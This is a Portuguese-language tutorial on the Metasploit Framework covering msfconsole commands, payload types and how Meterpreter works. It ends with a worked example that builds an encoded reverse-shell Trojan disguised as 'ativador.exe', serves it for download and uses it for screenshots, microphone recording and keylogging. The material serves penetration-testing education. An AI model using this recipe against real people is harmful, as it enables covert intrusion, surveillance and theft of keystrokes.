Metasploit

O Metasploit Framework é uma ferramenta poderosa que fornece uma interface universal para trabalhar com código de exploração de vulnerabilidade. Ele tem código de exploração para uma ampla gama de vulnerabilidades que afetam servidores web, sistemas operacionais, equipamentos de rede e tudo mais.

Metasploit tem duas aplicações para dois públicos diferentes:

  • Pesquisadores: auxilia no desenvolvimento, empacotamento e lançamento de novos códigos, simplificando e promovendo a reutilização de cargas uteis - por exemplo shellcode - e outras funcionalidades;

  • Pentesters: auxilia a empregar uma metodologia comum para interagir com exploits e suas funcionalidades relacionadas. Isso ajuda a nivelar a curva de aprendizado de cada novo exploit e significa que os testadores têm acesso a exploits selecionados de alta qualidade em um só lugar.

Muitas da explorações são projetadas para produzir um buffer overflow, condições de execução ou outras vulnerabilidades de software.

Comandos Básicos

A interface principal será o comando msfconsole. Outros comandos com quais devemos conhecer incluem os seguintes:

Mostra comandos disponíveis do msfconsole:

help # ou ?

Exibe informações sobre tópicos específicos:

show exploits # revela os exploits disponiveis que pode ser executados

show payloads # revela as várias opções de carga util que o usuário pode usar no sistema explorado

show targets # revela os sistemas operacionais e aplicativos de destino disponiveis que pode ser explorados

show options # revela vários parametros para exploit especifico com qual o usuário esta trabalhando

Instrui o msfconsole a entrar no ambiente de um exploit especifico:

use [exploit name]

Mostra uma descrição do exploit específico que o usuário está usando junto com suas varias opções e requisitos:

info

Permite que o usuário pesquise strings especificas em exploits, payloads e etc:

search

Permite que o usuário liste, pare e interaja com as sessões que o usuário criou (e.g subprocessos, como scripts):

sessions

Permite que o usuário especifique opções de configuração:

set TARGET # permite que o usuário selecione um sistema operacional ou aplicativo de destino especifo, se necessario

set RHOST # permite que usuario defina o endereco IP do seu host de destino (remoto)

set LHOST # permite que o usuário defina o endereco IP do seu host (local)

set PAYLOAD # permite que o usuario defina a carga util especifica para o exploit

Permite que o usuário saia do ambiente de exploração atual que carregou e volte para o prompt principal do msfconsole:

back

Permite que o usuário saia do console do Metasploit:

exit

Tipos de Payloads

Inline (Non Staged)

Um único payload que contém o exploit e o código completo do shell para a tarefa selecionada. Os payloads em linha são, por design, mais estáveis do que suas contrapartes, pois contêm tudo em uma só. Entretanto, alguns exploits não suportam o tamanho resultante desses payloads.

Stager

Os payloads stager funcionam em conjunto com os stage payloads para executar uma tarefa específica. Um stager estabelece um canal de comunicação entre o atacante e a vítima e lê um stage payload para ser executada no host remoto.

Meterpreter

Meterpreter, a forma abreviada de Meta-Interpreter, é um payload avançado e multifacetado que opera por meio de injeção de dll. O Meterpreter reside completamente na memória do host remoto e não deixa rastros no disco rígido, o que dificulta muito a detecção com técnicas forenses convencionais. Os scripts e plug-ins podem ser carregados e descarregados dinamicamente, conforme necessário, e o desenvolvimento do Meterpreter é muito forte e está em constante evolução.

PassiveX

O PassiveX é um payload que pode ajudar a contornar firewalls de saída restritivos. Ele faz isso usando um controle ActiveX para criar uma instância oculta do Internet Explorer. Usando o novo controle ActiveX, ele se comunica com o invasor por meio de solicitações e respostas HTTP.

NoNX

O bit NX (No eXecute) é um recurso incorporado em algumas CPUs para impedir a execução de código em determinadas áreas da memória. No Windows, o NX é implementado como DEP (Data Execution Prevention). Os payloads do Metasploit NoNX são projetadas para contornar a DEP.

Ord

Os payloads ordinais são payloads baseados no stager do Windows que têm vantagens e desvantagens distintas. As vantagens são o fato de funcionarem em todas as versões e idiomas do Windows, desde o Windows 9x, sem a definição explícita de um endereço de retorno. Elas também são extremamente pequenas. Entretanto, duas desvantagens muito específicas fazem com que eles não sejam a opção padrão. A primeira é que ele se baseia no fato de que o ws2_32.dll é carregado no processo que está sendo explorado antes da exploração. A segunda é que ele é um pouco menos estável do que os outros stagers.

IPv6

Os payloads do Metasploit IPv6, como o nome indica, foram criadas para funcionar em redes IPv6.

Reflective DLL Injection

A reflective DLL injection é uma técnica em que um stage payload é injetada em um processo de host comprometido executado na memória, sem nunca tocar no disco rígido do host. As cargas úteis do VNC e do Meterpreter utilizam a injeção reflexiva de DLL. Você pode ler mais sobre isso com Stephen Fewer, o criador do método de injeção de DLL reflexiva.

Meterpreter

O Meterpreter é um payload avançado e dinamicamente extensível que usa stagers de injeção de DLL na memória e é estendida pela rede em tempo de execução. Ele se comunica pelo soquete do stager e fornece uma API Ruby abrangente no lado do cliente. Ele apresenta histórico de comandos, preenchimento de guias, canais e muito mais.

Como Meterpreter Funciona

  • O alvo executa o stager inicial. Geralmente é um dos seguintes: bind, reverse, findtag, passivex, etc.

  • O stager carrega a DLL com o prefixo Reflective. O Reflective stub lida com o carregamento/injeção da DLL.

  • O núcleo do Metepreter é inicializado, estabelece um link TLS/1.0 sobre o soquete e envia um GET. O Metasploit recebe esse GET e configura o cliente.

  • Por fim, o Meterpreter carrega as extensões. Ele sempre carregará o stdapi e carregará o priv se o módulo conceder direitos administrativos. Todas essas extensões são carregadas por TLS/1.0 usando um protocolo TLV.

Principais Payloads

São os mais usados, oferecendo um shell interativo avançado com diversas funcionalidades, como captura de tela, keylogging e escalonamento de privilégios.

  • windows/meterpreter/reverse_tcp → Cria uma conexão reversa via TCP.

  • windows/meterpreter/reverse_http → Conexão reversa via HTTP.

  • windows/meterpreter/reverse_https → Conexão reversa via HTTPS (mais discreto).

  • linux/x86/meterpreter/reverse_tcp → Versão do Meterpreter para Linux.

  • android/meterpreter/reverse_tcp → Para dispositivos Android.

Exemplos de Uso

Exemplo de Cavalo de Troia capaz de rodar no Windows XP e 7.

msfconsole (metasploit), ferramenta para facilitar o hacking, mantendo diversos scripts de exploit.

Utiliza multi handler exploit:

use exploit/multi/handler

Busca payload para configurar um backdoor na máquina do alvo:

set payload windows/meterpreter/reverse_tcp

Mostra as opções do exploit que precisam ser configuradas para fazer o ataque:

show options

Configura o IP do atacante, você pode ver o IP do atacante usando comando ip addr no Linux:

set lhost 10.0.2.10

Inicializa o exploit, nesse caso a escuta da máquina alvo:

exploit -j

Cria um arquivo executável com o Cavalo de Troia que será enviado para máquina do alvo:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.2.10 lport=4444 -e x86/shikata_ga_nai -f exe -o ativador.exe

Sobe um servidor HTTP para disponibilizar o executável para o alvo baixar:

python3 -m http.server 80

Se conecta a uma sessão do backdoor:

sessions -i 1 // session_id

Dessa forma o atacante pode se executar comandos na máquina do alvo, como:

  • screenshot: tira uma print da tela;

  • record_mic: gravar som do microfone;

  • keyscan_start: ativa key logger;

Referências

Atualizado